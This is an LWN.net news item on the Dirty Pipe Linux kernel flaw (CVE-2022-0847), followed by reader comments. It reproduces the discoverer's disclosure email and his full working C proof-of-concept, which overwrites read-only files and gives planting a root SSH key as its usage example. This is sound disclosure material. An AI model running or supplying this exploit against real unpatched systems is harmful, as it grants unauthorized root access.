|
|
Log in / Subscribe / Register

The "dirty pipe" vulnerability

Max Kellermann has disclosed a disconcerting kernel vulnerability:

Two weeks ago, I found a vulnerability in the Linux kernel since version 5.8 commit f6dd975583bd ("pipe: merge anon_pipe_buf*_ops") due to uninitialized variables. It enables anybody to write arbitrary data to arbitrary files, even if the file is O_RDONLY, immutable or on a MS_RDONLY filesystem. It can be used to inject code into arbitrary processes.

This vulnerability has been named "dirty pipe"; Kellermann has put up a web page describing it in detail. Updates from distributors are already being released.


From:  Max Kellermann <max.kellermann-AT-ionos.com>
To:  oss-security-AT-lists.openwall.com
Subject:  [oss-security] CVE-2022-0847: Linux kernel: overwriting read-only files
Date:  Mon, 07 Mar 2022 13:01:19 +0100
Message-ID:  <CAKPOu+8WtknWoUeY-CTK5ejo0hOQDsPOsbO12pFK6ifJwmVo4Q@mail.gmail.com>
Archive-link:  Article

Hi oss-security,

two weeks ago, I found a vulnerability in the Linux kernel since
version 5.8 commit f6dd975583bd ("pipe: merge anon_pipe_buf*_ops") due
to uninitialized variables.  It enables anybody to write arbitrary
data to arbitrary files, even if the file is O_RDONLY, immutable or on
a MS_RDONLY filesystem.  It can be used to inject code into arbitrary
processes.

It is similar to CVE-2016-5195 "Dirty Cow", but is easier to exploit.

The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.

A proof-of-concept exploit is attached.

For anybody curious, here's an article about how I discovered this:
 https://dirtypipe.cm4all.com/

Max
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}


to post comments

The "dirty pipe" vulnerability

Posted Mar 7, 2022 16:45 UTC (Mon) by calumapplepie (guest, #143655) [Link] (5 responses)

Should there be a check in the VFS layer that ensures any dirty page that we are trying to write to disk is being written to a filesystem/area of the disk that is mounted read/write at least once, and oopsing/panicing loudly if it is? It'd make a future flavor of "write to readonly files" more limited in scope, and might make it noticeable in the event of accidental exploitation.

The "dirty pipe" vulnerability

Posted Mar 7, 2022 19:13 UTC (Mon) by darmengod (subscriber, #130659) [Link] (1 responses)

Hindsight is always...

The "dirty pipe" vulnerability

Posted Mar 7, 2022 19:29 UTC (Mon) by calumapplepie (guest, #143655) [Link]

Well, yes, but the next time there is a bug that causes the kernel to write something onto a read-only page, we get to call it foresight instead..

The "dirty pipe" vulnerability

Posted Mar 8, 2022 14:28 UTC (Tue) by walters (subscriber, #7396) [Link]

I'd guess that if that warning/panic had existed, fuzzers like syskaller would have stumbled on this earlier.

The "dirty pipe" vulnerability

Posted Mar 8, 2022 15:22 UTC (Tue) by matthias (subscriber, #94967) [Link] (1 responses)

Would this actually help? The page is not marked dirty by the exploit. There is no writeback unless the page gets dirtied for some other reason. But this should only happen if the filesystem is mounted writable somewhere.

For readonly filesystems the changes should be only in the page cache and never written to disk. Which is of course enough for privilege escalation. Just modify some suid binary in the page cache and execute it. The kernel will execute the modified code from the page cache.

The "dirty pipe" vulnerability

Posted Mar 15, 2022 0:12 UTC (Tue) by calumapplepie (guest, #143655) [Link]

Oh, I see: I misunderstood the nature of the vulnerability.

The "dirty pipe" vulnerability

Posted Mar 7, 2022 23:20 UTC (Mon) by flussence (guest, #85566) [Link] (5 responses)

Question: would any of the memory-hardening options in the kernel protect from this?

The "dirty pipe" vulnerability

Posted Mar 8, 2022 2:01 UTC (Tue) by DeletedUser154722 ((unknown), #154722) [Link] (1 responses)

INIT_STACK_ALL_ZERO ?

The "dirty pipe" vulnerability

Posted Mar 8, 2022 6:28 UTC (Tue) by calumapplepie (guest, #143655) [Link]

It's reusing structs, not creating new ones.

The "dirty pipe" vulnerability

Posted Mar 8, 2022 4:07 UTC (Tue) by make (subscriber, #62794) [Link] (2 responses)

No. There is no hardening that applies to this bug. That's the problem with "hardening": it attempts to be proactive about potential yet-unknown bugs, but you already have to imagine how they might look like. Anything that doesn't fit your imagined model won't be protected against.

If you accept a good amount of overhead, it would be possible to remap cache pages in the kernel to read-only on every task switch for pages that shouldn't be writable by the current task.

The "dirty pipe" vulnerability

Posted Mar 8, 2022 17:12 UTC (Tue) by NYKevin (subscriber, #129325) [Link] (1 responses)

> Anything that doesn't fit your imagined model won't be protected against.

To be fair, this is true of the vast majority of security and defense-in-depth measures. That doesn't mean we should stop doing them.

The "dirty pipe" vulnerability

Posted Mar 12, 2022 22:46 UTC (Sat) by immibis (subscriber, #105511) [Link]

But it does mean the answer to "would hardening protect against this?" is sometimes "no"

The "dirty pipe" vulnerability

Posted Mar 10, 2022 9:29 UTC (Thu) by MortenSickel (subscriber, #3238) [Link]

Two big thank yous to Max Kellermann - one for doing the work that chased out this bug and not at least one for describing the work in a very readable and understandable way!

The "dirty pipe" vulnerability

Posted Jan 25, 2024 14:17 UTC (Thu) by hshekhar (guest, #169292) [Link]

It is showing a message "Sorry, cannot enlarge the file". What does that mean ???


Copyright © 2022, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds